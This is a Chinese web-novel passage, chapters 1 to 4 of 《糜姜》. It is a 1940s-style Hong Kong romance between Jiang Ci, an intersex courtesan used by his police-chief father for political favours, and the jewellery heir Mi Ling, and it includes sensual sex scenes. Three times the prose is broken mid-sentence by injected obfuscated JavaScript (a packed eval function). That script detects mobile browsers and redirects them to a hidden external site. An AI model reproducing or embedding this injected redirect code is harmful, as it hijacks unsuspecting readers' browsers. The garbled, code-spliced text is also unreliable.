《糜姜》 1. 1 绿蝴蝶手表 陈青柏近晌午来了金园山庄,直奔二楼姜瓷的卧房。 姜瓷还睡着,朦胧中只觉得整个人晃晃悠悠在船上似的,微微一睁眼,瞧见陈青柏的手搭在他腰上,折腾得他头都晕了,胃里也翻腾,实在不舒服。 楼下王妈在喊吃饭。他打个哈欠,去推陈青柏,可不知他发什么疯,忽然一下子撞得他跌到床下去。他身上一件绿色丝绸睡袍,下摆被陈青柏压住了,这么一扯,嗤啦地裂开来。 他坐起身,撩一撩袍子,见那裂缝从脚踝直开到腋下,气极,当下脱下来甩到陈青柏脸上,骂道:“发痴了么!好好一件衣服!” 他生在上海,十八岁才来香港,到如今虽已五年,但说话仍是吴侬软语的调子,听着不大有威慑力。 陈青柏涎着脸把袍子覆在鼻子上嗅,笑着说:“给你买件新的。” “新的有什么用?这件袍子是我——算了!”他拽了件搭在椅背上的浴衣,扭头进了浴室。 等坐上餐桌,饭菜早已凉了,王妈张罗着重新去热。姜瓷倦得睁不开眼,蜷在椅子里打了会儿盹,隐约听见绵密的雨声,睁眼往窗外一瞧,白茫茫一片,山里起雾了。 昨天搬出去晒太阳的几盆蝴蝶兰还在花园里,不收回来怕是要被雨打凋了。他急匆匆下了桌,穿过穿堂奔进花园里,捧起一盆蝴蝶兰往回走,没几步,猛然瞧见雾蒙蒙里一个颀长的黑影,惊得摔了花盆。 “谁呀!”他半恼怒半嗔怪地喊一声,探头往雨雾里辨认,看到闪闪的一线鎏金色,心头松了松,轻声喊道:“小舅舅?” “是我,小宝。”糜岭应声道。 姜瓷往那儿走了走,渐渐看清他了。他站在一丛开得正盛的木槿花旁,一身黑西装,右手拄着一根鎏金黑手杖,身上不怎么潮,头发倒是淋湿了一小片,贴在两鬓,削尖了脸型,显得凌厉,但那旺而热的木槿花衬得他的脸泛着些许红,他高高扬起的眼尾钩子一样,又缀着浓重的柔意,眨眼的时候拂出春水般绿色的縠纹来。 “小宝?”他又叫他。声音也柔软的,但在浸着冷意的雨里又汹汹得像火苗。 姜瓷没有动作,遥遥回望着他,两个人两双眼睛,一根绳子上串的四个珠子般黏在一起。半晌,姜瓷才说:“吓死我了!”略有些哽咽,收了收视线,再望向他,“上一回你说,过两天就来看我,现在都多少天了?” “我太忙了,小宝,店里那么多事情。” 三个月前糜岭从英国回来后,从年迈的父亲陈兴那儿接手了家族的珠宝生意。陈家作为香港最大的珠宝商之一,业务庞杂繁复,现在又逢年中查账,那么多爿店面的账本全堆到他桌上来,实在脱不开身。 姜瓷听了气得眼红,厉声道:“那你就去忙你店里的事情,永远别来了!”说完,蹲下来去拾一地的花盆碎片,弄得满手是泥,恍然又发现自己没穿鞋,脚上也蹭得满是泥水,也顾不上什么花盆了,起身往屋子里走。 糜岭又喊一声“小宝”,他仍然不理,在湿滑的鹅卵石小径上蹒跚走着。 一段时间不见,他人胖了些,软和的一团,走一步,臂膀上垂坠的肉就一哆一哆地抖,整个人被雨一泡,愈发软了,像块蒸糕,蓬蓬胀开来。身上一件白浴袍,湿透,奶皮似的紧裹着他的身体,简直跟没穿衣服没什么两样,胸膛透粉,蒸糕上缀着的红果馅似的,小腹上糯糯一点赘肉,颤颤晃人眼睛。 再看那摔在地上的蝴蝶兰,跟他一样的柔艳,根茎细细嫩嫩,花朵儿肥肥耷耷,淋了雨而湿漉漉腻在一处,在微风中又摇摇摆摆地蹭着。这时候他也走到近前了。 糜岭伸手拉住他藕白一截手腕,有点儿讨好地喊:“小宝,宝宝。” 姜瓷顿了顿脚步,只这犹豫的片刻,就被糜岭抱进了怀里。糜岭的手在他腰上抚两下,他就妥协了,揽住他肩膀倚进他怀里,问:“你才到么?” “和青柏一起来的,在客厅坐了一会儿了。” 姜瓷抿着唇垂下眼来,攥紧他笔挺的西装衣襟:“你都不先来看我……” “青柏抢在我前面了。” “你还说!” 糜岭笑着讨饶,叫他拿了那根黑手杖,弯腰横抱起他,往屋子里走,边取笑他:“胖了,抱不动你了。”姜瓷故意地晃了晃腿,看他走得趔趄,倒在他肩头笑起来,道:“明明就是你腿瘸。” 糜岭毫不在意,也跟着笑:“是是,我又老又瘸。” 他今年三十五,比姜瓷大了十二岁,右腿是跛的,虽看不大出来,但要靠这支鎏金手杖走路,五年前一场车祸留下的病根,自那之后就去了英国疗伤,今年开春才回来。 进了屋,坐到餐桌上,王妈见着糜岭,又去多拿了一双碗筷来。可其实也用不着,两人都没有吃饭的心思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他从口袋里拿出一只绿色手表来戴到姜瓷手腕上,左右瞧了瞧,绿的显得更绿,他一截子肥软的腕,显得更白,油亮亮夜明珠似的泛光。 问姜瓷:“喜不喜欢?整个香港只有你有。” 姜瓷举起手把表对着光,细细地瞧,表盘里一颗硕大的祖母绿宝石,周围塞了一圈用碎钻组成的小蝴蝶,稍微偏一偏表面就折射出闪烁的绿光来。他收回手,把表放在心口捂着。 糜岭笑了笑,躺下来抱着他,说:“睡吧小宝,等王妈做好了点心,再叫你起来。” 2. 2 白山茶 姜瓷梦见和糜岭的初遇。 那会儿是五年前,他住进金园山庄还没有多久。有一晚他下了山,人生地不熟,在街衢上走着,遇上夏季的暴雨,为了躲雨,糊里糊涂闯进了浅水湾舞厅。 他那天作女生的装扮,穿了一件白里带葱青的旗袍,淋了雨,身上隐约的潮,站在门口那盏壁灯光下,白光一照,整个人都在发亮。 迎着众人戏谑的目光,正手足无措的时候,糜岭走过来,脱下西服罩在了他身上。 他们打招呼,一个讲粤语,一个讲上海话,都不理解对方的意思,但糜岭朝姜瓷伸出手的时候,不知道为什么,姜瓷被蛊惑了似的牵住了他指尖。 他们在桌上坐了一会儿,然后又在舞池跳舞。 那时候糜岭的腿还是好的,走路时步伐迈得稳健,跳舞时灵活又轻盈。姜瓷对舞蹈一窍不通,好几次踩到他,他也不恼,只是笑,始终稳稳扶着他的腰。 舞厅里打着荔红色的光,笼下来就愈发暗沉沉,什么都模糊不清,糜岭背对着光线,面庞更显朦胧,只他衣领边缘上飞着一丝暖软的金线,尤为扎眼。缓缓跳到舞池另一边,光线从正面照过来,依旧是暗的,但姜瓷看清了他飞斜的眉和细长的眼,刻薄又凛然的面相,偏偏眼神那么柔软。 舞曲接近尾声的时候,舞厅门口突然嘈杂起来,姜瓷被东西碎裂的声音吓了一跳,本能地贴近了他,把脸埋在他肩上。糜岭低头附在他耳边,用粤语说了句“别怕”。他没有听懂,只觉得那声音火一样从耳朵一直烧到心口。 他扭着身体想躲,刚迈出一步,糜岭脸颊靠过来,轻轻贴了贴他的,似乎是吻了他一下。 他不知道这是否是香港的跳舞礼仪,心口一个劲儿惊跳着,眼眶发热要落泪,赶忙回头望看向舞厅门口以作掩饰,那儿骚乱还在持续,几个警员正与舞厅的服务生推推搡搡,闹得厉害。 半晌,他还是推开他,什么话也没说,跑向舞厅侧门,到了外面,雨已然下得翻江倒海,回头不舍地看了眼舞厅招牌上亮的彩灯,大步跑进雨里,踉踉跄跄,很快就绊了一跤跌在水坑里,呛了几口水,猛咳几声,只觉得胸闷气短,浑身都在痛,再要站起来,一睁眼,视线里却是刺目的白光,随即有双手覆上来,摸他额头,耳边响起糜岭的声音:“做噩梦了?哭成这样。” 他不说话,抬手抹眼泪,扭头伏在他肩上打哈欠,只觉得睡了比没睡还要疲倦,心思陷在梦里,仿佛他衣服上那一圈金线还飞在眼前。 佣人来敲门喊吃晚饭,说陈青柏已经在楼下等了好一会儿了。姜瓷身上懒洋洋的,还是不想动弹。糜岭就对门外说:“让青柏自己吃吧,我们不下去了,送点粥上来。” 佣人应一声下去了。两人仍躺在床上说话。糜岭拿过床头柜上的一盘糕点,递一块到他嘴边,说:“刚才王妈做好了点心,怎么叫都叫不醒你,一觉睡到天黑。” 姜瓷看向窗外,黢黑的夜,雨还没有停,落得淅淅沥沥。他趴到糜岭胸前,咬住他手里的松糕,看了他良久,说:“小舅舅,我们以前是不是见过?” 糜岭顿了一顿,答:“要是见过,小舅舅一定不会忘。” 姜瓷喉咙一哽,一时间嘴里像在嚼砂砾似的,不死心,继续问:“那你还记得我们第一次见面吗?” “怎么会不记得,我到这儿来,跟着青柏下了车,你见到我吓了一跳,差点跌到花圃里去。” 姜瓷勉强扯出一个笑:“是哦,我还以为就陈青柏过来,衣服都没穿好,都被你看光了,对吧?”也就是前一阵子的事情。那天他在院子里给花圃浇水,听见汽车声,一回头,糜岭已经走下车来。 其实哪有嘴上说得这么碰巧这么轻松,为了能把这位陈家的家主诱到金园,每一个环节都着实设计了一番,费了许多功夫。 自从糜岭开始接接手陈家的珠宝事业后,谁都想与他结交攀关系,姜瓷的父亲周盛业身为警务处处长也不例外。然而糜岭深居简出,好恶也琢磨不透,政界商圈中的人前仆后继,都吃了闭门羹。于是周盛业另辟蹊径,先把糜岭的亲外甥陈青柏钓进了金园山庄。 陈青柏根本抵不住姜瓷美人计的诱惑,耳根子也软,姜瓷吹吹枕边风,不下半月,他就把糜岭带上了山。 机会难得,为了能立刻就勾得糜岭的兴趣,姜瓷那日故意穿了件轻薄的睡袍——被陈青柏扯坏的那件绿睡袍——刻意把腰带系得又松又散。其实他早知道糜岭会从车上下来,本该装出一副讶异的态度,但没想到真的被惊了一跳,腿软得站都站不住。 原来陈青柏的小舅舅就是五年前邀他跳舞的那个男人,原来那男人叫糜岭。 那时候风把他松垮垮的腰带吹散了,他袒胸露乳地站在那儿,盯着那张魂牵梦萦的脸,全然忘了自己的任务,只是一阵阵心悸,煞白了脸。他幻想过重逢,最不想要让糜岭知道的就是他其实是个……说好听点儿,“交际花”。 他心中大乱,颤着手想系上腰带,然而他望见糜岭的眼神,沉稳安静,像两汪潭水,因为见到他几近于赤身裸体而表现出的惊讶神色,仿佛涟漪似的泛到眼尾,马上就消隐了。 他随即明了,糜岭根本没认出他。也对……五年前那么短暂的会面,舞厅里又晦暗得什么都辨不清,一个有钱人家的大少爷,怎么会将一个萍水相逢的过客放在心上。 他走到车边去迎陈青柏,挽着陈青柏的手,学着他叫了糜岭一声“小舅舅”。 “小宝?” 姜瓷回过神,把最后一点儿松糕放进嘴里,边嚼边含糊说:“怎么了?” “想什么这么入神?” “想我们第一次见面啊,你说我养的茶花很漂亮,但我知道你在夸我,你也知道我听出来了,只有陈青柏那傻子,以为我脸红是中暑了。” 他说完笑倒在糜岭肩上,糜岭凑近了吻他。那一天他把姜瓷的身体全瞧了个清楚,软蓬蓬的身体,在午后光下一照,仿佛刚出蒸笼的白面馒头,还散着热气,一身绿衣,与一旁花圃中植株的绿叶混成一团,他白的身体和那白的山茶花也没有分界线,站在那儿,就像化成人形的茶花一般,一双圆溜溜的小鹿眼睛,眼风都带着花香。 “那件绿袍子呢?”糜岭把手摸进他衣服里。 姜瓷嘟囔着说:“都是陈青柏,中午那时候……把袍子扯坏了。” “是吗,”糜岭不咸不淡地应了一声,把脸埋进他胸膛,“他总冒冒失失的。” 姜瓷听了睫毛颤颤,打了个冷噤,霎时觉得他牙齿刀似的锋利,磕在身体上要流血一样地痛,便推了推他,趿着拖鞋走到窗边。打开窗,雨一下子飘进来,打湿了脸。 他倚在窗框上撑着下巴,叹了口气,说:“那些个佣人在下面忙什么呢,还不把我的粥送上来。” “我去催催,”糜岭也下了床,走过来拥住他,顺手阖上了窗,“淋了雨要生病了,舅舅可舍不得。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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糜岭没有要应声的意思,抱姜瓷坐到洗手池上,一个劲儿把他往镜子上压,正吻得热烈的时候,只听陈青柏又道:“小舅舅,公馆来电话,问你什么时候回去,再不动身,要误了明天的事了。” 他只好哑声回道:“知道了,再等一会儿。”一句话后面接着姜瓷的呻吟。只是姜瓷听得陈青柏那些话,已无暇与他缠绵,只哀哀哭着求他,惊慌地说:“阿岭,别走,不要去……我要你在这儿陪我,阿岭……” 糜岭有些心软,可敲门声一阵一阵,陈青柏“舅舅舅舅”地叫个不停,迫得他无可奈何,想抽身,姜瓷几次都不放他,他像溺到糖罐里的飞虫挣都挣不出来,喘着粗气,贴在姜瓷耳边说:“这么喜欢和舅舅玩么?” 姜瓷有些失神,视线茫然扫过糜岭的脸,道:“喜欢……喜欢阿岭,别走……” “小宝,我很快就来看你,到时候陪你多久都行。” “不要……不行!” 姜瓷摇着头,哭得莺鸟儿一样呖呖的,心里委屈,憋得脸上浮红,身上也透着粉,恍然一瞧,又令他想起雨中花盆里的蝴蝶兰。它们细细的根茎那么稚嫩青涩,别的人从来不多看,只他在赏花时也给茎叶浇浇水。 姜瓷被他这样一哄,登时晕头转向,糜岭趁机推开了他,很快地转身出去了。他浑浑噩噩走出浴室,倒在床上哭了几声,忽然觉得身下硌着什么东西,撩开被子一看,是支钢笔,应该是糜岭掉在这儿的。 他抓起笔,赶忙下床跑到窗边往下瞧,车子亮着灯还停在前院,于是披上衣服跑下楼去,到了前院,在淅沥的雨里,远远看见两个黑影站在角落那一排长青树下。 他喊了声“小舅舅”,可雨声太大,落在院子里丛丛树叶上,哗啦声更响,盖住了他的喊,那两人都没听到。 他只得磕磕绊绊继续走,到了近前,正要开口喊糜岭,却听见陈青柏轻声道:“舅舅,我想和小瓷……和他结婚。” 3. 3 冷语最销魂 糜岭一手拄着手杖,一手摆弄领带整理衣服,听到陈青柏说这样的话,睨了他一眼。 前院里黑郁郁的,很是暗,看不清他的神情,但陈青柏莫名发憷,垂下头,手捏着裤边,紧一下松一下。 糜岭只年长他七岁,可他从小就怕他。 自己这个小舅舅是外公陈兴的续弦妻子糜雨雨所生。陈兴第一个妻子肺痨身死,有两个女儿,大女儿早夭,二女儿——就是他母亲——在他三岁时也因为患上肺痨去世。他的父亲是从内陆来香港读书的大学生,一心攀龙附凤,入赘了陈家,可一直不得老爷子信任,多年来连家族生意的边儿都摸不着,时间一久,也就堕落了,吃喝嫖赌,还抽大烟。 偌大的家业总要有人继承,只是陈兴的姨太太和情妇都不少,不知为何没有诞下一个子嗣,直到遇上了糜雨雨。她也是从内陆来读书的学生。等她把孩子生了下来,老爷子才娶她进门。可不过半载,她也病死了。 从此外界流传起陈家克妻克女的说法来。陈兴也心有戚戚焉,重金请来一位算命先生,算出他这第三个孩子不能姓陈,否则也要早夭,更不能早婚,不然也是一死,于是随了母姓,取名叫岭,也就是糜岭,到如今三十五也还未婚。 陈青柏幼时和糜岭一起养在陈兴身边,一切按照继承人的标准来培养,奈何他不成器,在家里耳濡目染了多少年,算盘还是拨不会,更别提做生意,与聪明机灵的糜岭一比较,显得尤为拙劣。 陈兴也就不指望他,送他回他父亲身边去了。他跟着父亲当然学不了什么好,渐渐也染上了鸦片。糜岭知道后怒极,向来文雅的他竟对这个外甥大打出手,让他在床卧病了一个多月。 从此他便怕了,规规矩矩做人,戒了大烟,重新回去读书,毕业后在报社谋了个职位,一直安分做到现在。 想要和姜瓷结婚,确实是这么些年来最出格的念头了。 这么想着,只听糜岭那黑金手杖“咚咚”地往草地上闷闷地掷了两下。他沉声道:“疯了么!他是什么身份,你是什么身份?不说其他,你想想吴家!” 他垂下头来,不觉脸上臊红。吴家是他过世妻子的娘家。他二十二岁结的婚,妻子是官家小姐,与他门当户对,两人也说得上是琴瑟和鸣。只是妻子顶着陈家克人的传言嫁过来,本不以为然,然而不到一年也走了,下雨天回家的时候,跌进河里淹死了。 他心里有愧,一直没有与吴家断来往,逢年过节还是以姑爷的身份去看望吴家二老。眼下假如他再娶一个,还是娶个姜瓷这样的,不光要和吴家闹掰,兴许都要被逐出家门,没有脸面继续留在香港了。 可即便这样……他舔了舔嘴唇,支支吾吾地说:“舅舅,我是真心——” “住口!我看你是鬼迷心窍了,你一个正经人家的少爷,他说起来是周盛业的——” 糜岭顿了一顿,似乎在犹豫到底该说儿子还是女儿,片刻后放矮了声音继续道:“说起来是周盛业在外面生的孩子,实则一个娼妓,圈子里谁不知道?你以为周盛业是怎么在短短五年从警队里名不见经传的小职员做到如今的警务处处长?姜瓷他在床上对你笑一笑你就昏头了。” 话音刚落,身后草地上一阵窸窸窣窣的响,两人皆回头望过去,只是针似的雨线纷纷扬扬。 收回视线时,糜岭顺势瞥了眼二楼亮着灯的房间,又道:“就算撇开刚才那些不说,周盛业还要靠他往上爬,如何能放手让你娶他带他走?也不知道他和周盛业对我们家到底打什么主意,你趁早死了那条心,玩玩他也就罢了,少犯糊涂!” 一番话说得陈青柏无言以对,喉咙哽了半晌,吐出一个“嗯”字来。 两人坐进车里,冒着雨下山去了。 姜瓷僵直地躺在床上,身上发冷,觉得自己已然是个死人了,但心却跳得那样有力而响声那样震耳欲聋。 他还把那支钢笔紧攥在手里,笔端戳着心窝,像把刀。 他确实带着目的接近了糜岭,在糜岭面前的一举一动一言一行,全部在脑海里设计排演过无数遍,勾引诱惑,终于他们接吻,拥抱,上了床。他心里有意,而糜岭那样温柔地叫他“小宝”,送那些贵重的珠子宝石手表,温言软语,百依百顺,让他觉得糜岭心里或许也有那么一点儿情。 可是……糜岭说得对,他是正经人家的少爷,他是一个娼妓,被父亲利用来进行权色交易的工具,有过的“男友”连他自己都数不清,更何况他还有一副奇怪的身体。这样两个人,怎么配都是配不到一起的。 他睁大了眼睛,望着头顶的灯,看见一只只飞蛾扑到那火光上去,死掉了,小小的身体打着旋儿飘飘摇摇掉下来。 他哭了一夜。 第二天一整个上午,姜瓷都没下楼来,这也是常事,往日他总要睡到这时候的。可到了下午两三点的光景,还听不见有动静,王妈上楼来瞧,进房一看,姜瓷直挺挺躺着,双眼紧闭,脸色只比死人还要白。 王妈立刻着了慌,扑到床前来探他鼻息,很弱,再摸他额头,滚烫的,忙奔下楼去,叫佣人去山脚请白医生。 这白医生是英国人,姓怀特,到中国来就取了个中国姓,原本在医院任职,后来被周盛业挖来做专职家庭医生,只给姜瓷一人看病,安排他住在山脚,来去也方便。 佣人马不停蹄,赶到半山腰,正碰上陈青柏的车驶上来,当即扒着车窗哭天抢地地喊道:“不好了!屋里那一位要死了!陈先生,快请医生!” 陈青柏听了这话大惊失色,骂道:“混账东西,你胡说八道什么!”说罢将佣人拽上车,慌忙地让司机掉头往山下去,接了白医生来,已经傍晚了。 白医生急匆匆奔上楼,除了王妈不让任何人上去。 陈青柏在楼下心急如焚,等了好一阵儿,总算等到他下来了,忙迎上去询问情况,白医生脚步不停,语气严肃,道:“很凶险,我得给周先生打个电话。” “什么?这么严重?到底怎么回事?我昨天过来见到他,他还好好的。” “王妈说昨天他淋了雨,自然是受寒伤风了,要是 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到了姜瓷房门前,正遇上白医生出来,听他简单说了说姜瓷的情况,迫不及待进去了。 屋子里很暗,床上挂起了湖白色的帐幔,层层叠叠罩着,姜瓷的身形隐隐绰绰,只有一只手腕垂在外面,指尖松松地蜷着,毫无生气。 糜岭心头突突地跳,坐下来掀了那帘子,探身去看姜瓷,一张脸煞白,连嘴唇都没有血色,原本浑圆的下颌线条消减下来,尖得骇人,像吮干净的枣核尖儿,眼窝凹进去,仿佛白布匹上烧了两个香烟洞*。 他摸上他面白如纸的脸,怕一碰就碎了,指腹轻轻一触,姜瓷似有所觉,睁开眼来。 “小宝。”糜岭凑近了喊他。 姜瓷有些恍惚,眼前一片朦胧,眨了眨眼再看,望见糜岭风尘仆仆的脸,眼底两洼青黑,下巴冒出小胡渣,头发乱蓬蓬,耳后还翘起一缕。 他茫然盯着他,片刻后扑簌簌地落下泪来。 糜岭眉头紧皱,俯身来吻他,他不愿意给他亲,偏过头,那吻就落在了脸颊上。吻过了,糜岭还不退开,仍把嘴唇贴在他稍烫的皮肤上,温柔又轻盈,像停了只蝴蝶在上面。 “小宝。”糜岭抱紧了他,又这样喊,一遍遍,哑着嗓子,声音粗粝地磨着他的耳朵。 他更是要哭,喉咙里流出一串颤音,身子不住地发抖,一颗心忽然胀大了,像无数只蝴蝶飞进来,扑棱棱在胸腔里蹿动,挤得他喘不过气。 他这些天夜夜做噩梦,梦里全是糜岭讲的那些扎心窝的话,现在见了他,听到他这样眷恋地喊自己的名字,忽然觉得或许糜岭是特意贬低他,好让陈青柏死了求娶他的心。其实糜岭还是要他爱他的,不然怎么会放下生意火急火燎地赶回来? 他这么想着,哭得更厉害,回抱住糜岭,往他怀里靠,想说话,张了张嘴却发不出声音。糜岭摸着他嘴唇,哄小孩似的抱着他轻轻地来回晃,说:“好了好了,小宝,我知道,舅舅知道你受委屈了……” 4. 4 泪池塘 姜瓷从病中恢复过来时已是秋天的光景了,但休养了这么一两个月,仍是有些咳嗽,胃口也不好。糜岭便让陈青柏去百杏林中药堂瞧瞧,假如英嬅在那儿坐诊,就请她上金园山庄,给姜瓷诊脉。 陈青柏接了英嬅来,车开上山道,正是晌午时分,太阳一照,点出满山红枫中几星闪烁的金光。陈青柏指着那光对英嬅说:“姐姐你瞧,就是那儿,那小洋房真漆了金的。” 英嬅打量几眼,问:“是个什么样的人物?” 陈青柏说:“是周盛业在外面的孩子,叫姜瓷,他的身体有点儿……不寻常,姐姐一会儿见了就知道。” “能劳动你舅舅来请我,定是不寻常了。”英嬅浅浅笑着,仍用探寻的眼神望向陈青柏。 她头发梳得妥帖,挽了个简单的髻在脑后,浑身上下只耳上两点米粒大的金饰,穿着绣了金竹的黑旗袍,肩上一件薄白的丝绸披肩,两手轻轻合在腿上,坐在摇晃的车里连身子都不歪一歪。 陈青柏对着这样的她,哪里讲得出糜岭同姜瓷的那些荤事儿,想到刚才下山的时候,还见着那两人腻在花园里你侬我侬,一时心里又妒又恼,几番欲言又止,最后道:“姐姐,我多想你做我的小舅妈。” 英嬅眉毛一动,还是笑意盈盈的:“十多年前的事情怎么还拿出来讲,跟小时候一样,说这些话来哄我给你买零嘴?”说着真从手边小药箱里拿出一个蜜饯罐子来递到陈青柏手里,“原本备着给诊脉时总要哭闹的孩子吃的,你拿去。” 陈青柏笑着接过了,和英嬅说了些闲话,车子就到了金园。 不知佣人们是不是都在午歇,山庄里静悄悄的。两人进了屋,王妈迎上来招呼,端了茶水点心来,说姜瓷和糜岭在楼上睡午觉。 陈青柏见她眼神躲闪,一副遮遮掩掩的样子,就料定她在说谎,心里很不痛快,不耐烦地道:“不是睡到十一点钟才起来吗,这会儿又睡觉?我去叫他们,哪有请了人来还要人等的?” 英嬅拉着他说:“有什么要紧,等等就等等吧。” 这下也只好作罢,他便说:“那我带姐姐去花园转转,你不知道这儿的花园,比我的小公馆还大,简直走不到头,养的那许多花我连见都没见过。” 英嬅跟着陈青柏去到后院,瞧见一大片绿草坪,走上鹅卵石小径再往里,渐渐四周树木葱郁起来,又过去一段路,到了一处全是桂树的地界,到处黄灿灿的金桂,花香四溢。 陈青柏拨开挡在英嬅头前的一株桂树树枝,说:“姐姐,这儿往右拐,挖了个顶大顶深的池塘,修了亭子和廊桥,假山啊鱼啊水藻啊,真真一个小园林,我看全香港再没有比这儿——” 突然间一连串甜软滑腻的笑声荡过来,打断了他。两人对视一眼,绕过桂树往那儿一望,赫然看见糜岭泡在池塘里,两臂拨着水面,掀得池上几片凋敝的枯荷叶都飞起来。 英嬅以为他落了水,吓得要叫,却被陈青柏按住。陈青柏说:“姐姐,那就是姜瓷。” 她定了定神再看,这才发现池上的廊桥边坐着个人,穿着妃色透空纱袍子,下摆撩到膝盖处,两腿荡在空中,脚尖轻轻点着水面。 他抬着白软的手臂往池子远处一指,说:“阿岭,你再到那边瞧瞧!” 糜岭便游到那处在水里摸索,也不知在找什么东西,大约是没找到,又游回来,到了桥边,要去抓姜瓷的脚踝,姜瓷笑着一躲,把腿收了上来,摘了桥边一丛木芙蓉的枝条,再俯身到池边,把那枝条仿佛鱼竿似的往空中一甩,糜岭叫着“小宝”去抓,眼看要够着了,姜瓷又把枝子收回来,叫他只抓了满手粉花瓣绿叶子,几番来回,真把糜岭当鱼一样的钓着耍玩,笑得东倒西歪。 后来糜岭攀住桥沿,终于抓住姜瓷,拽着他脚踝一下把他拖到桥岸边来。姜瓷便把腿没进水里,轻踩在糜岭肩上,糜岭一手托着他腰,一手摸到他衣服里。姜瓷虾子似的蜷起身体,抱紧他脑袋,轻轻吟了一声。 英嬅看着臊得脸红,转过头拉着陈青柏要走。陈青柏纹丝不动,直勾勾盯着园子里,冷哼道:“睡午觉睡到池塘里来了……姐姐,这一回姜瓷生病,就是小舅舅闹着他在雨里乱来害的,今天又做这种事,入了秋,山里更凉,还泡在水里——” “好了,别给你舅舅听见了,随他们去吧。”英嬅又轻轻拉他一下。 “姐姐你先回去吧,”他沉着脸顿了片刻,忽然地面朝园子里喊,“小舅舅,英姐姐已经到了!” 园子里姜瓷被陈青柏这一声喊吓了一跳,险些跌进池子里。糜岭托着他腰扶他坐稳,抬头往桂树那儿望了望,虽然见陈青柏站在那儿,但还是又把头往姜瓷怀里埋。 他那件妃色纱衣浸了水,湿哒哒黏在腿上,托得他花儿似的绽着,简直比桥边木芙蓉还要艳而香。 糜岭舍不得走,撑着桥沿一下跃上岸去,把姜瓷压在身下。姜瓷软白的身子桥一样拱起来,又水一样地荡漾。 病了这许多时日,糜岭三天两头就上山来陪他,只比往日更热切,全不像那晚雨夜说的那般看低他,只是因为他病着,没有闹他,但现下糜岭黏糊糊抱着他,他再撒不开手了。 两人说话调笑的动静幽幽飘到桂树这儿,陈青柏听了更是窝火,脸上一阵红一阵青,再也忍不住,踏着流星步子就朝他们走过去。 糜岭听见声响,立刻拽过脱在草地上的一件披风罩住姜瓷,安抚地亲亲他,便抱他站了起来。回身对上陈青柏,两人对视一眼,沉默着一前一后往园子外走去。 姜瓷在他怀里扭来扭去地缠他,他腿脚不方便,走得磕绊,只好如了他的意,把手伸进他披风里,哄他:“小宝,先见了英嬅,晚上舅舅再陪你,我跟你说的你还记不记得?” 姜瓷脉脉望着他,把披风一掀遮住了两人。糜岭又低头吻他。姜瓷附在他耳边说:“记得……你要我叫她姐姐,她给我看病。” 两人亲在一处,就这么跌跌撞撞进了屋子。 陈青柏见他们这样难解难分,满腔的怒气,走到客厅对正喝着茶的英嬅道:“姐姐,我先下山去了!就叫小舅舅的司机送你回去吧!” 英嬅还没来得及说什么,他已经一径跑了出去。她转身,眼睛再一瞥,正看见糜岭抱着姜瓷进门,把他按在走廊口墙壁上,旁若无人地亲。姜瓷挺着身子往他身上靠,白滔滔云朵似的挤到他颊边。他鼻端顶着圆白的月亮似的肩膀,半阖眼帘,嘴唇蹭得石榴般红。 英嬅被他们这幅孟浪劲儿吓得心惊肉跳,故意地清了清嗓。 那头一阵窸窣的说话声,不一会儿,糜岭走出走廊来,向她点了一点头,把姜瓷护在怀里掩着带上楼去后,很快又下来,手里拿着干毛巾擦潮湿的头发,对她说:“左手边第二间房,他前段时间闹风寒,养了这么久还是咳嗽,胃口也不好,你去瞧瞧他,我换身衣服就来。” 英嬅看着他这幅狼狈样,调笑说:“英雄难过美人关,真亏你有这样的气力,这么凉的天跳水里去哄人家高兴。” 糜岭也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831023|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑,但不应她,只说:“他有点特殊。” “青柏也说他不寻常,到底哪儿不寻常?” “他是男人,也是女人。” 英嬅愣了愣,讷讷答道:“哦,哦……是这样……那我先去看一看他再说。” 她拎了小药箱进到房里,看见湖白帐幔里一个人影,便轻轻问了声好。 姜瓷也问她好,说:“姐姐,辛苦你来给我看病。”声音听着软糯的,一点儿女气,又确有一点儿男人的英朗。 “不辛苦。”她笑着坐下来,从药箱里拿出脉枕放在床畔,姜瓷便把手腕搭在上面。她凝神诊了半晌,说:“小瓷,我叫你小瓷可以吗?我还得看看你的脸和舌头,你把帐子撩开好吗?” 姜瓷轻轻应一声,一手撩开帐子,用床沿一只金钩把帐子钩住了,再往床边挪了挪,凑近了,对上英嬅,有些羞赧地又叫:“姐姐。” 英嬅见着他的脸,眼睛一下睁圆了,脱口而出道:“是你?” 姜瓷懵懵懂懂望着她,答说:“是我呀,姐姐见过我?” 英嬅笑起来:“我当是什么样的人能让糜岭神魂颠倒,原来竟就是他一直放心尖尖上的爱,这么多年了,他还收藏着你的一张小像呢。那时候,我还以为你们马上就会结婚,不想他说你留下一封信后不辞而别,后来他夜夜流连那些个舞厅酒馆,我们身边人眼看他颓废下去,心里着急,正商量要把他扭回正道上,结果不多日子他就出了车祸,带着腿伤孤身一人到英国去了。” 姜瓷听了慢慢敛了眼中笑意,脸上血色褪了个干净。英嬅自以为是提起往事惹得他伤心,忙拉了他的手安慰。他摇着头捂住胸口咳起来,断断续续地道:“我没有拍过相片,没有给他过小像,也没有写过信,我、我不是……” 他又抬头看看英嬅,猛然间一口气噎在胸中,吐不出来。原来糜岭有一个心尖尖的爱,现在英嬅将他错认成了那人,那么也就是说……他长得与那人很像?回想起与糜岭初见,在舞厅里,他见识了糜岭太过柔和的笑容,那些尤为包容体贴的举止,那个贴着脸颊的过分亲昵的吻,那一句万千柔情蜜意的“别怕”……是了,假如他不与糜岭的心上人容貌相似,糜岭怎会对一个陌生人那般情浓绵绵? 